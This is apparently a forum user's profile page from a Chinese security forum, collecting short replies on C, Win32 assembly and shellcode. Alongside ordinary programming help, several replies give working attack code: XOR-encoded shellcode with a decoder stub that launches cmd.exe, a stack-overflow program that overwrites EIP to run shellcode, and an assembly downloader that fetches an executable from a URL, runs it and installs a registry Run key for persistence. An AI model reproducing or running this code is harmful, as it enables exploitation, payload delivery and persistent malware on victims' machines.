|
[求助]如何才能获取指定ip的数据包
SendArp |
|
C语言问题!
int readDat(void) { FILE *fp; int i=0; char *p; if((fp=fopen("out13.dat","r"))==NULL) return 1; /*貌似循环使用链表一行一行把文件读出*/ while(fgets(xx[i],80,fp)!=NULL) { p=strchr(xx[i],'\n');/*定义一个\n结束符到指针*/ if(p) *=0; /*是否遇到\n*/ i++;/*遇到\n的话说明上一行已经枚举完毕,继续下一行枚举*/ } maxline=i; fclose(fp); return 0; } ASCII码是以\n为结束符的,if(p) *=0的意思是判断是否已经遇到了,遇到了说明这一行已经枚举完毕了,然后继续下一行 |
|
|
|
[求助]C语言如何实现ShellCode的异或变形
Originally posted by icefall 这个不需要的,你在shellcode头包含解码程序,那么解码程序执行后,堆栈中的shellcode就已经转换了,不需要写会文件..... 这个是一个大牛的shellcode,直接在堆栈解码...一般shellcode头都包含解码程序....比如: 解码代码+shellcode "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ;这里是解码程序 "\x55\x51\x52\x8B\xEC\x83\xEC\x20\x33\xC9" ;shellcode开始位置 "\xC6\x45\xF5\x6D\xC6\x45\xF6\x73\xC6\x45" "\xF7\x76\xC6\x45\xF8\x63\xC6\x45\xF9\x72" "\xC6\x45\xFA\x74\xC6\x45\xFB\x2E\xC6\x45" "\xFC\x64\xC6\x45\xFD\x6C\xC6\x45\xFE\x6C" "\xC6\x45\xFF\x99\x8D\x45\xF5\x50\xB9\x54"//<=----第一个编码后的0x99,请比较未编码前的相应位置的值 "\xA2\xE6\x77\xFF\xD1\x8B\xD0\xC6\x45\xF5" "\x73\xC6\x45\xF6\x79\xC6\x45\xF7\x73\xC6" "\x45\xF8\x74\xC6\x45\xF9\x65\xC6\x45\xFA" "\x6D\xC6\x45\xFB\x99\x8D\x45\xF5\x50\x52"//<=----第二个编码后的0x99 "\xB9\xC1\x9A\xE6\x77\xFF\xD1\x8B\xD0\xC6" "\x45\xF5\x63\xC6\x45\xF6\x6D\xC6\x45\xF7" "\x64\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6" "\x45\xFA\x78\xC6\x45\xFB\x65\xC6\x45\xFC" "\x99\x8D\x45\xF5\x50\xFF\xD2\x83\xC4\x04"//<=----第三个编码后的0x99 "\x8B\xE5\x5A\x59\x5D"; 需要在它头部加上以下解码子程序: __asm { mov eax,esp; //这是溢出后执行jmp esp后执行的第一条指令,esp指向当前指令地址,意义是"获得解码程序起址" add eax,44h; //这个解码子程序有20个字节(解码程序起址+20=code起址,再加上53偏移)使eax指向第一个编码过的0x99 xor [eax],99h //解码第一个0x99,这个操作的意义是"0x99异或0x99=0x00",即还原成0x00 add eax,28h //指向第95偏移 xor [eax],99h //解码第二个0x99 add eax,2eh //指向第140偏移 xor [eax],99h //解码第三个0x99 } |
|
[求助]C语言如何实现ShellCode的异或变形
shellcode是放在堆栈中执行的,写回文件做啥? |
|
[求助]C语言如何实现ShellCode的异或变形
__asm { mov eax,esp; //这是溢出后执行jmp esp后执行的第一条指令,esp指向当前指令地址,意义是"获得解码程序起址" add eax,44h; //这个解码子程序有20个字节(解码程序起址+20=code起址,再加上53偏移)使eax指向第一个编码过的0x99 xor [eax],99h //解码第一个0x99,这个操作的意义是"0x99异或0x99=0x00",即还原成0x00 ;如果后面还有需要xor的,则继续获取偏移地址,然后从地址中取出数据 } |
|
[求助]关于GetVolumeInformation的问题!(已解决)
GetVolumeInformation是有返回值的貌似 |
|
32位的汇编在子程序里,怎么定义一个不定的字节数组,怎么使用他
local szBuff[156]:DWORD local Read:DWORD . . invoke lstrlen,addr szBuff invoke ReadFile,hFile,addr szBuff,eax,addr Read,NULL |
|
[求助]学习shellcode遇到一个问题,高手帮忙啊~!
在shellcode后面直接加上你要返回的地址就行了 jmp esp+shellcode+你要返回的地址 main函数中,地址是多少,你可以控制eip,使得eip滑向这个地址就行了 |
|
[求助]EXE文件一闪就没了??
Originally posted by xzchina 貌似应该这样吧?你少了 "ar" #include <stdio.h> void main(void) { printf("^_^"); getchar(); } |
|
奇怪的问题:难道是编译器犯了错误?[讨论]
对于EXE长度的计算,直接写个常量貌似并不是最佳做法..如果它的值很长,楼主不会一个一个数吧?应该这样: invoke lstrlen,addr EXE mov @hSize,eax 这样,RegSetValueEx最后一个参数就可以用@hSize 修改一下代码: .386 .model flat, stdcall option casemap :none include windows.inc include kernel32.inc include urlmon.inc include shell32.inc include advapi32.inc includelib kernel32.lib includelib urlmon.lib includelib shell32.lib includelib advapi32.lib .data URL db "http://127.0.0.1/xxx.exe",0 EXE db "d:\xxx.exe",0; szRegKey db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0 szRegValue db "DownLoader",0 .code _EnumKey proc local @hKey:DWORD local @hSize:DWORD invoke RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey .if eax == ERROR_SUCCESS invoke lstrlen,addr EXE mov @hSize,eax invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\ REG_SZ,addr EXE,@hSize ;写入一个REG_SZ类型的数据 invoke RegCloseKey,@hKey .endif _EnumKey endp start: invoke URLDownloadToFile,NULL,addr URL,addr EXE,0,0 invoke ShellExecute,0,0,addr EXE,0,0,SW_SHOW call _EnumKey invoke ExitProcess,NULL end start |
|
[求助]为什么我recv的数据为零
忠言逆耳,但我爱听.... 根据市场的需求编写软件,自然是我的目标 现在我属于学习阶段,得先熟悉一下标准框架下的东西 功底打好,才有能力创新.... 谢谢默数悲伤的话.网络上谁都不认识,但提一句话,就很让人欣慰.我想我会努力往那个方向发展.... 现在要高考了 估计很少时间到这里... |
|
[求助]EXE文件一闪就没了??
这样的控制台程序是在命令行下执行的 这样就不会一闪就没了 |
|
在学习汇编语言中遇到的一个难点,
Originally posted by thebutterfly push 05h pop al :) |
|
shellcode如何编程
汇编代码写的shellcode http://forum.eviloctal.com/read-htm-tid-27342.html C语言版: 有问题程序: #include <stdio.h> #include <windows.h> int main() { char output[8]; char shellcode[]="111111112aaaAAAA"; strcpy(output,shellcode); printf("%d",output); return 0; } 测试代码: #include <stdio.h> #include <windows.h> int main() { char output[8]; char shellcode[]={"\x31\x31\x31\x31\x31\x31\x31\x31\x32\x61\x61" "\x61\x41\x41\x41\x41\x41\x41\x41\x41"//前面填充EBP "\x12\x45\xfa\x7f"//0x7ffa4512这个地址覆盖EIP "\x8B\xEC" "\x33\xFF" "\x57" "\x83\xEC\x08" "\xC6\x45\xF8\x63" "\xC6\x45\xF9\x6D" "\xC6\x45\xFA\x64" "\xC6\x45\xFB\x2E" "\xC6\x45\xFC\x65" "\xC6\x45\xFD\x78" "\xC6\x45\xFE\x65" "\x8D\x45\xF8" "\x50" "\xB8\xC7\x93\xBF\x77" "\xFF\xD0"}; strcpy(output,shellcode); printf("%d",output); return 0; } 在XP SP2下测试通过 具体的溢出点触发,要看你分配了多少空间来决定,上面的代码,我分配了 char output[8]; 如果是其他的话,你就要OD调式一下看看EIP被什么覆盖,之后就可以利用 jmp esp 的方式来执行栈顶上的指令了 |
|
[求助]关于获取远程MAC地址的代码
这里出错了吗? |
|
[推荐]有关Win32汇编函数参数传递
hSize dd ? Written DWORD ? . . invoke lstrlen, szOK mov hSize,eax ;计算出"hello word!"的长度包括空格一共11字节 . |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值